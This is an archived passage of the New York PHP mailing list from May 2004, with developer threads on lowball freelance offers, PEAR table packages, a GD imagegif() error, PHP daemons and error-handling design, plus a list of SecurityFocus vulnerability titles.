It's all EXIF information - date taken, image size, etc., is all in
the EXIF record.

> How cool is that?

Very.  :)

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From smanes at magpie.com  Thu May  6 07:33:03 2004
From: smanes at magpie.com (Steve Manes)
Date: Thu, 06 May 2004 07:33:03 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <E1BLO8u-0001F6-RF@server1057.webserver33.com>
References: <E1BLO8u-0001F6-RF@server1057.webserver33.com>
Message-ID: <409A226F.4030804@magpie.com>

Mark Armendariz wrote:

> $20 for even just an upload and configuration is absurd.   Even so, 15 days
> max says that s/he's looking for some customization.  I don't even know of
> overseas groups that would do 15 days of work for $20.  Besides that, bid
> for work sites have the silliest pricing I've ever scene (nothing against
> you or your site personally, joel).

Here's how:

http://www.newtechusa.com/ppi/faq.asp#started





From smanes at magpie.com  Thu May  6 07:34:50 2004
From: smanes at magpie.com (Steve Manes)
Date: Thu, 06 May 2004 07:34:50 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <49A9DEB886049242BA28C484A36C03F15A7421@email.sprout.net>
References: <49A9DEB886049242BA28C484A36C03F15A7421@email.sprout.net>
Message-ID: <409A22DA.9060909@magpie.com>

Carlos G. Chiossone wrote:

> Is there a carpentry list we can join? I better start doing something
> else!

I got the message a few years ago and started learning the home 
renovation biz.  Not much chance of outsourcing this: 
http://www.magpie.com/house




From tgales at tgaconnect.com  Thu May  6 07:58:56 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Thu, 6 May 2004 07:58:56 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <409A226F.4030804@magpie.com>
Message-ID: <003e01c43361$82c2df30$e98d3818@oberon1>

> Here's how:
> 
> http://www.newtechusa.com/ppi/faq.asp#started
> 

Now I know how to get in touch with some 
'webmonkeys' now that Webmonkey is reported to 
be shutting down:

"Webmonkey, the site that turned humble Web developers 
into attention-grabbing authors, said last weekit is closing 
down following a round of layoffs in the U.S. division 
of its parent company, Terra Lycos"  

http://www.wired.com/news/infostructure/0,1377,62300,00.html 
 [dateline: Feb 17, 2004]

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com



From danielk at us.ibm.com  Thu May  6 10:15:36 2004
From: danielk at us.ibm.com (Daniel Krook)
Date: Thu, 6 May 2004 10:15:36 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <409A226F.4030804@magpie.com>
Message-ID: <OF944881B7.4F136B11-ON85256E8C.004DA751-85256E8C.004E54CC@us.ibm.com>





> Here's how:
>
> http://www.newtechusa.com/ppi/faq.asp#started


"So the rule of thumb is, if you don?t have a tail, you can probably
program."

Can't argue with that.  Despite her name, my cat Tarball is useless when it
comes to coding.  She can hold her own with Visio and Project though.









Daniel Krook, Application Developer
WW Web Production Services North 2, ibm.com
1133 Westchester Avenue, White Plains, NY 10604

Personal: http://info.krook.org/
Persona: http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897

From phillip.powell at adnet-sys.com  Thu May  6 11:03:28 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Thu, 06 May 2004 11:03:28 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <OF944881B7.4F136B11-ON85256E8C.004DA751-85256E8C.004E54CC@us.ibm.com>
References: <OF944881B7.4F136B11-ON85256E8C.004DA751-85256E8C.004E54CC@us.ibm.com>
Message-ID: <409A53C0.8090403@adnet-sys.com>

I dispute that.  Something had to have created ASP.  [evil grin]

Phil

Daniel Krook wrote:

>
>
>  
>
>>Here's how:
>>
>>http://www.newtechusa.com/ppi/faq.asp#started
>>    
>>
>
>
>"So the rule of thumb is, if you don?t have a tail, you can probably
>program."
>
>Can't argue with that.  Despite her name, my cat Tarball is useless when it
>comes to coding.  She can hold her own with Visio and Project though.
>
>
>
>
>
>
>
>
>
>Daniel Krook, Application Developer
>WW Web Production Services North 2, ibm.com
>1133 Westchester Avenue, White Plains, NY 10604
>
>Personal: http://info.krook.org/
>Persona: http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897
>  
>
>------------------------------------------------------------------------
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>  
>


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From nyphp at websapp.com  Thu May  6 14:15:37 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Thu, 6 May 2004 14:15:37 -0400
Subject: [nycphp-talk] PHP Training
Message-ID: <200405061815.i46IFcqX023172@ns5.oddcast.com>

As you all know, there is a New York PHP training session taking place on
May 17th - 18th in Manhattan. Only a few places left so please sign up ASAP
if you would like to attend.
http://nyphp.org/content/training/twodaycourse.php

If the location is a problem, there is a similar course delivered by Zend
which is online (eLearning) and starts next week! For a special NYPHP
discount, please contact me off list at daniel at nyphp.org
http://www.zend.com/store/education/zend-online-training.php



Best,
Daniel




From phillip.powell at adnet-sys.com  Fri May  7 10:06:38 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Fri, 07 May 2004 10:06:38 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <409A53C0.8090403@adnet-sys.com>
References: <OF944881B7.4F136B11-ON85256E8C.004DA751-85256E8C.004E54CC@us.ibm.com>
	<409A53C0.8090403@adnet-sys.com>
Message-ID: <409B97EE.9040304@adnet-sys.com>

Well, it's bad enough that this buyer is not only willing to only pay 
$20 for 15 day-only work of an entire file management/streaming content 
management application/display application..

He doesn't want it in PHP because "I'm not happy with PHP at all, maybe 
it was bad coding, but I want ASP"

*sigh*

Phil

Phillip Powell wrote:

> I dispute that.  Something had to have created ASP.  [evil grin]
>
> Phil
>
> Daniel Krook wrote:
>
>>
>>
>>  
>>
>>> Here's how:
>>>
>>> http://www.newtechusa.com/ppi/faq.asp#started
>>>   
>>
>>
>>
>> "So the rule of thumb is, if you don?t have a tail, you can probably
>> program."
>>
>> Can't argue with that.  Despite her name, my cat Tarball is useless 
>> when it
>> comes to coding.  She can hold her own with Visio and Project though.
>>
>>
>>
>>
>>
>>
>>
>>
>>
>> Daniel Krook, Application Developer
>> WW Web Production Services North 2, ibm.com
>> 1133 Westchester Avenue, White Plains, NY 10604
>>
>> Personal: http://info.krook.org/
>> Persona: 
>> http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897
>>  
>>
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> talk mailing list
>> talk at lists.nyphp.org
>> http://lists.nyphp.org/mailman/listinfo/talk
>>  
>>
>
>


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From tom at supertom.com  Fri May  7 11:09:34 2004
From: tom at supertom.com (Tom)
Date: Fri, 7 May 2004 08:09:34 -0700
Subject: [nycphp-talk] Dumb Pear Question
Message-ID: <200405071509.IAA06620@earth.he.net>

Hey Folks,

I have what is probably a dumb Pear question.  I have been from the PHPLib camp for quite a while now, and am now moving over to using Pear in my development.

In PHPLib, there is a Table class, which takes a dataset and builds the table for you.  I've extended that class over the years to include search, sortable columns, callback functions, pagination and a few other goodies.

I'm looking for the equivalent in Pear.  I just tried DB_Table, and was disappointed when I got through the tutorial and discovered that I was left holding the query result and was expected to handle the display myself - I'm too lazy for that! :-)

I'm now looking at DB_Pager, but it is old (2002), and DB_DataObject, but I don't think these do this either.  I have the "form" stuff handled with HTML_Quickform, but can't seem to locate anything that does what I am looking for recordsets.

Any ideas or experience with this?  Perhaps someone out there has extended one of these Pear modules and would like to share?

Thanks,

Tom
www.liphp.org - May 31st meeting: SQLite

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From mitchy at spacemonkeylabs.com  Fri May  7 11:45:50 2004
From: mitchy at spacemonkeylabs.com (Mitch Pirtle)
Date: Fri, 07 May 2004 11:45:50 -0400
Subject: [nycphp-talk] Dumb Pear Question
In-Reply-To: <200405071509.IAA06620@earth.he.net>
References: <200405071509.IAA06620@earth.he.net>
Message-ID: <409BAF2E.9020902@spacemonkeylabs.com>

Tom wrote:

> Any ideas or experience with this?  Perhaps someone out there has extended one of these Pear modules and would like to share?

How 'bout PEAR::HTML_Table?

http://pear.php.net/manual/en/package.html.html-table.php

Or maybe Pager?

http://pear.php.net/manual/en/package.html.pager.php

Or maybe even Pager_Sliding?

http://pear.php.net/manual/en/package.html.pager-sliding.php

HTH,

-- Mitch



From nyphp at newslogic.com  Fri May  7 13:26:06 2004
From: nyphp at newslogic.com (Andy Crain)
Date: Fri, 7 May 2004 13:26:06 -0400
Subject: [nycphp-talk] Dumb Pear Question
In-Reply-To: <200405071509.IAA06620@earth.he.net>
Message-ID: <012e01c43458$64868380$650aa8c0@newslogiyn65wg>

Tom,

> In PHPLib, there is a Table class, which takes a dataset and builds the
> table for you.  I've extended that class over the years to include search,
> sortable columns, callback functions, pagination and a few other goodies.
> 
> I'm looking for the equivalent in Pear.  I just tried DB_Table, and was
> disappointed when I got through the tutorial and discovered that I was
> left holding the query result and was expected to handle the display
> myself - I'm too lazy for that! :-)

Also try
http://pear.php.net/package/HTML_Table_Matrix

and the new
http://pear.php.net/package/Structures_DataGrid

Good luck,
Andy




From nhart at musicpf.org  Fri May  7 16:34:06 2004
From: nhart at musicpf.org (Nicholas Hart)
Date: Fri, 7 May 2004 16:34:06 -0400
Subject: [nycphp-talk] MySQL reports that port 3306 is not free.
In-Reply-To: <20040505202534.GB8482@panix.com>
Message-ID: <001801c43472$a8c4ea90$0f01a8c0@DC823JN11>


I am looking to get an ODBC connection working between linux and a DB2
database on an IBM AS400.  Ultimately, I need this to work with PHP.
According to the IBM website, this involves installing and configuring
unixODBC and I am hoping someone has some experience with this.  Any
input would be appreciated.  Thanks.

Nicholas Hart
MPF







From phillip.powell at adnet-sys.com  Fri May  7 18:26:21 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Fri, 07 May 2004 18:26:21 -0400
Subject: [nycphp-talk] inconsistency using "imagegif()": is there a
	workaround?
Message-ID: <409C0D0D.6040408@adnet-sys.com>

re: http://us4.php.net/manual/en/function.imagegif.php

I have one class method that resizes images, including GIF images, and 
works just fine doing so, even up to this line:

[PHP]
eval('image' . $extArray[$type] . '($newImage, "$tmpImageDownloadDir/" . 
$this->fileName);');         // SAVE TO TEMPORARY IMAGE DIR FOR DOWNLOAD
[/PHP]

(yes even with.. EVAL!)

However, in another class method, THIS line produces the following error:

[Quote]
Fatal error: Call to undefined function: imagegif() in 
/www/html/mu-spin/image_catalog/include/classes.inc.php(2262) : eval()'d 
code on line 1
[/Quote]

The line:

[PHP]
eval('image' . $extArray[$type] . '($newImage, 
"$this->thumbLocationPath/$this->fileName", $thumbDimensionInt);');
[/PHP]

I've taken out the reference to $thumbDimensionInt, to no avail.  Same 
exact error every time, but ONLY for GIF images.

But why is it the nearly-identical line in one class method resizes GIF 
images, but the near very same line in another class method (creates 
thumbnails) bombs for GIF images?

Both work just fine for all other images (i.e., JPG, TIFF, PNG, SWF, 
BMP, etc.)

Thanx
Phil

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From danielc at analysisandsolutions.com  Fri May  7 19:44:25 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Fri, 7 May 2004 19:44:25 -0400
Subject: [nycphp-talk] SecurityFocus issue #247
Message-ID: <20040507234425.GA14662@panix.com>

FusionPHP Fusion News Cross-Site Scripting Vulnerability
http://www.securityfocus.com/bid/10203

Network Query Tool Cross-Site Scripting Vulnerability
http://www.securityfocus.com/bid/10205

Multiple Protector System Input Validation Vulnerabilities
http://www.securityfocus.com/bid/10206

Advanced Guestbook Password Parameter SQL Injection Vulnerab...
http://www.securityfocus.com/bid/10209

OpenBB Multiple Input Validation Vulnerabilities
http://www.securityfocus.com/bid/10214

OpenBB Private Message Disclosure Vulnerability
http://www.securityfocus.com/bid/10217

OpenBB Arbitrary Avatar File Upload Vulnerability
http://www.securityfocus.com/bid/10218

PHPWebSite phpwsBB and phpwsContacts Modules Information Dis... 
http://www.securityfocus.com/bid/10220

PAFileDB ID Variable Cross-Site Scripting Vulnerability
http://www.securityfocus.com/bid/10229

Admin Access With Levels Plug-in For osCommerce Access Contr...
http://www.securityfocus.com/bid/10235

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From dcech at phpwerx.net  Fri May  7 20:51:07 2004
From: dcech at phpwerx.net (Dan Cech)
Date: Fri, 07 May 2004 20:51:07 -0400
Subject: [nycphp-talk] inconsistency using "imagegif()": is there
	a	workaround?
In-Reply-To: <409C0D0D.6040408@adnet-sys.com>
References: <409C0D0D.6040408@adnet-sys.com>
Message-ID: <409C2EFB.4080602@phpwerx.net>

Phillip Powell wrote:
> re: http://us4.php.net/manual/en/function.imagegif.php
> 
> I have one class method that resizes images, including GIF images, and 
> works just fine doing so, even up to this line:
> 
> eval('image' . $extArray[$type] . '($newImage, "$tmpImageDownloadDir/" . 
> $this->fileName);');         // SAVE TO TEMPORARY IMAGE DIR FOR DOWNLOAD
> 
> THIS line produces the following error:
> 
> Fatal error: Call to undefined function: imagegif()

> Both work just fine for all other images (i.e., JPG, TIFF, PNG, SWF, 
> BMP, etc.)

Did you read the manual page you linked to?  GIF is not supported by all 
version of GD, and I'd be willing to bet yours doesn't support it, hence 
no imagegif function.

Also, using eval like that is just nasty, you should really be doing 
something more like the example code found on that page and at 
http://www.php.net/imagetypes

Dan



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> Well, at least it's not a full-time job in California paying=20
> $2-5k a year for LAMP  :)
>=20
> http://jobsearch.monster.com/getjob.asp?JobID=3D21235904
>=20
> 2,000.00 - 5,000.00 USD /year
> Salary Depends on Experience
>=20
> "Fast paced internet company seeks an adavnaced PHP=20
> programmer. Must have experience developing web applications=20
> using PHP and MySQL in a Linux environment.
>=20
> Candidate must show samples of work and knowledge of job skills.
>=20
> Salary will be based upon years of job experience and=20
> programming level."

That is quite disgusting.  I hope that all PHP developers snub their
nose at any such absurdity - otherwise, PHP has a very long way to go.

H


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> Hi List.   A quick question.  I have some categories that are really
long
> and I would like to re-word or re-format them when I am bring=20
> data in from a DB.  Now which would be better:
>=20
> Do it with PHP
> or
> Do it with MySQL

This is probably a silly answer, but:

-- but if possible, do it in the DB.
-- otherwise, select all records from the DB, process in PHP, and reload
the DB.  Don't forget to lock the database if concurrency is a concern.

Sometimes string manipulation is too complex for any database.  But, if
possible, do the process in the DB with a function or two.  If things
get too sticky, then a real programming language like PHP is in order.

H

>=20
> Any suggestions as to how to?
>=20
> Example:
> A column name: Customer --> VARCHAR
> Values in Customer: "USA-North Upper ABVDFR Co. and Sons"=20
>=20
> I would like to re-word it for example: ABVDFR Co.
>=20
> I know I could use SUBSTRING or MID, or replace but the issue=20
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> change from row to row, for
> example: one row it maybe 20, in the next 13 and so on so=20
> forth.  I also thought that if I could use a length statement=20
> and come up with a formula...but so far no success....any suggestions?
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> Anyone has gotten PEAR installed in FreeBSD through the port system?
> I am getting an error saying that PHP is already installed. I=20
> have looked at some documents on installing it from scratch=20
> and doesn't seem terribly bad, but it would be so much better=20
> to do it from ports...

I've always done this by compiling from source, but maybe:

make reinstall

would help?  Maybe even a:

make deinstall

first, then a make install from the ports.

H



From lists at mx2pro.com  Sat May  8 02:03:11 2004
From: lists at mx2pro.com (Dan Horning)
Date: Sat, 8 May 2004 02:03:11 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
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ya know .. they can't even spell... that's just funny.

Dan Horning - Technical Systems Administration
 http://www.mx2pro.com/ 
 http://dan.mx2pro.com/ 
 1-518-894-4155 (Personal Direct Line) 

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Hans Zaunere
> Sent: Saturday, May 08, 2004 12:09 AM
> To: NYPHP Talk
> Subject: RE: [nycphp-talk] Worst freelance offer of all time!
> 
> 
> > Well, at least it's not a full-time job in California paying 
> > $2-5k a year for LAMP  :)
> > 
> > http://jobsearch.monster.com/getjob.asp?JobID=21235904
> > 
> > 2,000.00 - 5,000.00 USD /year
> > Salary Depends on Experience
> > 
> > "Fast paced internet company seeks an adavnaced PHP 
> > programmer. Must have experience developing web applications 
> > using PHP and MySQL in a Linux environment.
> > 
> > Candidate must show samples of work and knowledge of job skills.
> > 
> > Salary will be based upon years of job experience and 
> > programming level."
> 
> That is quite disgusting.  I hope that all PHP developers snub their
> nose at any such absurdity - otherwise, PHP has a very long way to go.
> 
> H
> 
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> > > Anyone have experience running a constantly running 'server' app=20
> > > based on php from a linux server?
> ....
> > Memory leaks may be a problem.  You can certainly do it but be=20
> > prepared to restart the thing daily.
>=20
> How about using a super daemon like Inetd to call the program=20
> on demand instead of having it up all the time. Should have=20
> some performance degradation, but would solve the memory leak problem.

This would make a very interesting article in the upcoming AMPeers.

I've run PHP daemons for some time (we're talking several weeks) without
any indication of memory leaks.  In fact, I even coded a timer in to
email me stats of the process so that I could keep an eye on it.  At the
end of a couple weeks, I brought the process down normally, and all
seemed good.

In fact, I'm looking to deploy another daemon in PHP.  This one will
accept considerable network traffic from a remote sensor (using FUID I
believe it will be) and then manipulate an inline Apache PHP via MySQL
for web page generation (yeah, it's crazy; it's an art project).

H



From nyphp at enobrev.com  Sat May  8 23:24:23 2004
From: nyphp at enobrev.com (Mark Armendariz)
Date: Sat, 8 May 2004 23:24:23 -0400
Subject: [nycphp-talk] PHP server app
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Well ,I'm definitely interested, but nowhere near well schooled enough on
the subject.  I've been reading quite a bit on it lately (thanks mostly to
all the input I've received from a bunch of you).  I have posix on my
server, but unfortunately not pcntl.  I can probably request it, but I
figure I should set up something local for such a thing before putting it on
my remote server. 

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Hans Zaunere
> Sent: Saturday, May 08, 2004 9:16 PM
> To: NYPHP Talk
> Subject: RE: [nycphp-talk] PHP server app
> 
> 
> > > > Anyone have experience running a constantly running 
> 'server' app 
> > > > based on php from a linux server?
> > ....
> > > Memory leaks may be a problem.  You can certainly do it but be 
> > > prepared to restart the thing daily.
> > 
> > How about using a super daemon like Inetd to call the program on 
> > demand instead of having it up all the time. Should have some 
> > performance degradation, but would solve the memory leak problem.
> 
> This would make a very interesting article in the upcoming AMPeers.
> 
> I've run PHP daemons for some time (we're talking several 
> weeks) without any indication of memory leaks.  In fact, I 
> even coded a timer in to email me stats of the process so 
> that I could keep an eye on it.  At the end of a couple 
> weeks, I brought the process down normally, and all seemed good.
> 
> In fact, I'm looking to deploy another daemon in PHP.  This 
> one will accept considerable network traffic from a remote 
> sensor (using FUID I believe it will be) and then manipulate 
> an inline Apache PHP via MySQL for web page generation (yeah, 
> it's crazy; it's an art project).
> 
> H
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 
> 




From jeff.siegel at nyphp.org  Mon May 10 07:30:39 2004
From: jeff.siegel at nyphp.org (Jeff Siegel - PHundamentals)
Date: Mon, 10 May 2004 07:30:39 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
Message-ID: <409F67DF.1050403@nyphp.org>

"Something can always go wrong in an application so it is essential that 
your application have an error handler. What types of errors can be 
safely ignored, and which ones should be trapped by an error handler? 
What is the best way to handle those errors?"

Jeff Siegel & Michael Southwell
The PHundamentals Team




From tgales at tgaconnect.com  Mon May 10 08:38:50 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Mon, 10 May 2004 08:38:50 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <409F67DF.1050403@nyphp.org>
Message-ID: <002801c4368b$bf3cbf80$e98d3818@oberon1>

Indeed something can always go wrong.

Good error handling should take a page 
out of basic journalism's playbook.

when something goes wrong you want to 
know the five W's --

Who, What, Where, When, and How.

Roughly speaking there are three Where's:

Hardware     (e.g. disk full)
OS or system (e.g. a process never gets
environment   scheduled for some reason -- 
              that is, it doesn't seem to 
              be running for lack of a 
              'time slice')
Software      (this includes utility software 
               like a compiler generating 
               some sort of 'wrong stuff' and
               the developers' logic flaws in
               the application software)

Basically the Who's are determine by what 
mode the code is running in. For example:
kernel mode, user mode etc.

The what's are generally governed by the 
Where's. For instance in unix-like operating 
systems events may be signaled. On a specific 
CPU the hardware may 'trap' to a vector 
interrupt when you try to divide by zero.

In application software (or frameworks as well) 
there will quite likely be a list of possible 
exceptions.

When's are not only the time according to 
the system clock, but also the order in 
which things have happened like a misbehaving 
routine was called just after calling some 
other routine (generally you can get this 
type of information from some sort of 
stack trace).

Putting all the W's together show help 
to come up with an answer for the big 'W' -- 
WHY did something go wrong?

In trying to answer the big W you sometimes
can find yourself sounding like a member on 
a congressional investigation committee.
Saying to yourself things like:
"What did this routine know -- and when did 
he know it".


T. Gales & Associates
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> -----Original Message-----
> From: talk-bounces at lists.nyphp.org
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jeff 
> Siegel - PHundamentals
> Sent: Monday, May 10, 2004 7:31 AM
> To: NYPHP Talk
> Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
> 
> 
> "Something can always go wrong in an application so it is
> essential that 
> your application have an error handler. What types of errors can be 
> safely ignored, and which ones should be trapped by an error handler? 
> What is the best way to handle those errors?"
> 
> Jeff Siegel & Michael Southwell
> The PHundamentals Team
> 
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk
> 



From tgales at tgaconnect.com  Mon May 10 09:16:23 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Mon, 10 May 2004 09:16:23 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <002801c4368b$bf3cbf80$e98d3818@oberon1>
Message-ID: <002901c43690$fe535080$e98d3818@oberon1>

> In trying to answer the big W you sometimes
> can find yourself sounding like a member on 
> a congressional investigation committee.
> Saying to yourself things like:
> "What did this routine know -- and when did 
> he know it".

So after performing the 'investigation' you 
determine the extent of criminal behavior 
(misdemeanor, felony, etc) -- if any 
criminal behavior exists.

Once you've determined how bad the behavior is, 
you can let your error handler 'fit the crime'.

(this is in response to: "What types of errors can 
be safely ignored, and which ones should be trapped 
by an error handler") 

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com

> > -----Original Message-----
> > From: talk-bounces at lists.nyphp.org 
> > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jeff Siegel - 
> > PHundamentals
> > Sent: Monday, May 10, 2004 7:31 AM
> > To: NYPHP Talk
> > Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
> > 
> > 
> > "Something can always go wrong in an application so it is essential 
> > that your application have an error handler. What types of 
> errors can 
> > be safely ignored, and which ones should be trapped by an error 
> > handler? What is the best way to handle those errors?"



From phillip.powell at adnet-sys.com  Mon May 10 09:20:22 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Mon, 10 May 2004 09:20:22 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8701E43D2D@ehost011-1.exch011.intermedia.net>
References: <41EE526EC2D3C74286415780D3BA9F8701E43D2D@ehost011-1.exch011.intermedia.net>
Message-ID: <409F8196.80905@adnet-sys.com>

Hans Zaunere wrote:

>>Well, at least it's not a full-time job in California paying 
>>$2-5k a year for LAMP  :)
>>
>>http://jobsearch.monster.com/getjob.asp?JobID=21235904
>>
>>2,000.00 - 5,000.00 USD /year
>>Salary Depends on Experience
>>
>>"Fast paced internet company seeks an adavnaced PHP 
>>programmer. Must have experience developing web applications 
>>using PHP and MySQL in a Linux environment.
>>
>>Candidate must show samples of work and knowledge of job skills.
>>
>>Salary will be based upon years of job experience and 
>>programming level."
>>    
>>
>
>That is quite disgusting.  I hope that all PHP developers snub their
>nose at any such absurdity - otherwise, PHP has a very long way to go.
>
>H
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>
I personally think it's a misprint, either that  or someone's exploiting 
someone.  I mean, janitors, er, sanitation engineers, make more than 
that even in the poorer ports of the country!

Phil

-- 
---------------------------------------------------------------------------------
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Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107 
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From jeff.siegel at nyphp.org  Mon May 10 09:17:02 2004
From: jeff.siegel at nyphp.org (Jeff Siegel - PHundamentals)
Date: Mon, 10 May 2004 09:17:02 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <002801c4368b$bf3cbf80$e98d3818@oberon1>
References: <002801c4368b$bf3cbf80$e98d3818@oberon1>
Message-ID: <409F80CE.9050006@nyphp.org>

Can you narrow this down in the context of PHP programming?
Not everything may be relevant (or maybe it is?) in the context of 
building/programming a website.

Jeff

Tim Gales wrote:

> Indeed something can always go wrong.
> 
> Good error handling should take a page 
> out of basic journalism's playbook.
> 
> when something goes wrong you want to 
> know the five W's --
> 
> Who, What, Where, When, and How.
> 
> Roughly speaking there are three Where's:
> 
> Hardware     (e.g. disk full)
> OS or system (e.g. a process never gets
> environment   scheduled for some reason -- 
>               that is, it doesn't seem to 
>               be running for lack of a 
>               'time slice')
> Software      (this includes utility software 
>                like a compiler generating 
>                some sort of 'wrong stuff' and
>                the developers' logic flaws in
>                the application software)
> 
> Basically the Who's are determine by what 
> mode the code is running in. For example:
> kernel mode, user mode etc.
> 
> The what's are generally governed by the 
> Where's. For instance in unix-like operating 
> systems events may be signaled. On a specific 
> CPU the hardware may 'trap' to a vector 
> interrupt when you try to divide by zero.
> 
> In application software (or frameworks as well) 
> there will quite likely be a list of possible 
> exceptions.
> 
> When's are not only the time according to 
> the system clock, but also the order in 
> which things have happened like a misbehaving 
> routine was called just after calling some 
> other routine (generally you can get this 
> type of information from some sort of 
> stack trace).
> 
> Putting all the W's together show help 
> to come up with an answer for the big 'W' -- 
> WHY did something go wrong?
> 
> In trying to answer the big W you sometimes
> can find yourself sounding like a member on 
> a congressional investigation committee.
> Saying to yourself things like:
> "What did this routine know -- and when did 
> he know it".
> 
> 
> T. Gales & Associates
> 'Helping People Connect with Technology'
> 
> http://www.tgaconnect.com
> 
> 
> 
>>-----Original Message-----
>>From: talk-bounces at lists.nyphp.org
>>[mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jeff 
>>Siegel - PHundamentals
>>Sent: Monday, May 10, 2004 7:31 AM
>>To: NYPHP Talk
>>Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
>>
>>
>>"Something can always go wrong in an application so it is
>>essential that 
>>your application have an error handler. What types of errors can be 
>>safely ignored, and which ones should be trapped by an error handler? 
>>What is the best way to handle those errors?"
>>
>>Jeff Siegel & Michael Southwell
>>The PHundamentals Team
>>
>>
>>_______________________________________________
>>talk mailing list
>>talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk
>>
> 
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 



From phillip.powell at adnet-sys.com  Mon May 10 09:45:15 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Mon, 10 May 2004 09:45:15 -0400
Subject: [nycphp-talk] Best alternative to imagegif()?
Message-ID: <409F876B.8090906@adnet-sys.com>

My application has no problem doing image resizing to any other type of 
image, except, obviously for GIF images, since imagegif() is not [yet] 
fully supported by GD (based on what I read at 
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&selm=0p6l909ujs8bdqjtu4r9j6asn8tjqel3rv%404ax.com 
and plenty of weekend personal experience in hair-tearing-out).

What would be the experts' best suggestion for an alternative to 
imagegif(), bearing in mind that everything else works thus far.

Thanx
Phil

-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From tgales at tgaconnect.com  Mon May 10 10:29:25 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Mon, 10 May 2004 10:29:25 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <409F80CE.9050006@nyphp.org>
Message-ID: <002a01c4369b$340b67d0$e98d3818@oberon1>

> Can you narrow this down in the context of PHP programming?
> Not everything may be relevant (or maybe it is?) in the context of 
> building/programming a website.
> 
> Jeff

I guess I was jumping ahead a bit in 
thinking it might be nice to develop an 
error handling class structure in the article 
to show how error handling decisions might be 
implemented.

The granddaddy class would be rather 
abstract. It would have member variables 
correlating to the five W's.

The 'abstract' class would be extended to 
take care of more specific situations.

But in general all the descendant classes would have 
inherited methods for dealing with felonies, 
misdemeanors, and ethical infractions and 
perhaps a method for granting immunity (especially 
on a 'quid pro quo' basis for more information 
leading to an indictment of other guilty routines)
The methods would be just overloaded -- whoops, 
pardon me, I mean extended to deal with the specifics 
of each of the more specialized classes 
(and their environments).

Maybe there could be classes for Linux, Windows, 
HP-UX, BSD, etc. directly inheriting from 
the base class. And an Apache class and maybe a an 
IIS class. 

Towards the end of the line you might have 
a PHP error class and an Application error class.

Something like this:

Err_class
  Err_Linux
    Err_Apache
      Err_PHP
        Err_App_Framework
          Err_demo (the class in the article)

You could make a simplified framework (really 
just for demonstrating the ideas in the article)
and extend the framework class to handle 
things that can go wrong with some mini-app.
(again the mini-app using the Err_demo class) 
would exist mainly to demonstrate the ideas in the article -- 
but might indicate how you could do something useful)

This kind of article would be a major departure 
from most articles that often include 
comments in the code saying something like
//  handle exceptions here... 

Further, regular readers of PHundamentals 
could become familiar with the (admittedly over 
simplified) (PHundamental ?) error handling framework.

And you could put in some realistic (and concrete)
error handling code snippets to indicate things that 
might go wrong (as a danger signs for potential problems) 
in future article example code using the error framework 
that readers have gotten accustomed to -- rather than
vague comments which remind readers that 
'Something can always go wrong'.

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com




From tgales at tgaconnect.com  Mon May 10 11:02:50 2004
